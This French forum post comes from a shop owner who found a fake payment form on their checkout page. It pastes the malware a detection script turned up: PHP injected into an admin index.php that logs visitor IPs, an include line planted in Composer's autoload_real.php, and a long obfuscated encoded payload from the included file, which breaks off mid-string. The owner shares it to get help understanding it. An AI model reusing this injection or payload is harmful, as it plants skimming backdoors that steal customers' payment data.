RedaCH Posted February 21 Share Posted February 21 Bonjour à tous et merci à @Eolia pour ton script j'ai recemment detecter un formulaire de paiement frauduleux qui est injecté dans ma page de paiement du coup j'ai lancé le script d'Eolia et je voulais partager avec vous ce que j'ai trouvé mon adminxxx/index.php était infecté avec ce bout de code injecté tout au début $add_cookies = md5(md5($_SERVER['DOCUMENT_ROOT'])); if(!isset($_COOKIE[$add_cookies])) { setcookie($add_cookies, "1", null, "/", $_SERVER['HTTP_HOST'], 1, 1); $master_dir = ini_get('upload_tmp_dir'); if (empty($master_dir)) { $master_dir = '/tmp/'; } else { $master_dir = ini_get('upload_tmp_dir').'/'; } if(isset($_SERVER['HTTP_X_REAL_IP']) AND !empty($_SERVER['HTTP_X_REAL_IP'])) { $ip_addr = $_SERVER['HTTP_X_REAL_IP']; } else { $ip_addr = $_SERVER['REMOTE_ADDR']; } if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_addr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_addr = $_SERVER['REMOTE_ADDR']; } if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) AND !empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip_addr = $_SERVER['HTTP_CF_CONNECTING_IP']; } else { $ip_addr = $_SERVER['REMOTE_ADDR']; } if(is_writable($master_dir)) { $fp=fopen($master_dir.'/'.$add_cookies,"a"); fputs($fp,"\n".$ip_addr); fclose($fp); } Sauriez vous me dire ce qu'il essaie de faire avec ça? le script a detecté un autre fichier infecté autoload_real.php /vendor/composer/autoload_real.php // contenu injecté ci dessous: @include_once('/home/xxx/www/modules/dashtrends/views/1.php'); le contenu de ce nouveau fichier 1.php <?php define('c88e2334d680d9548','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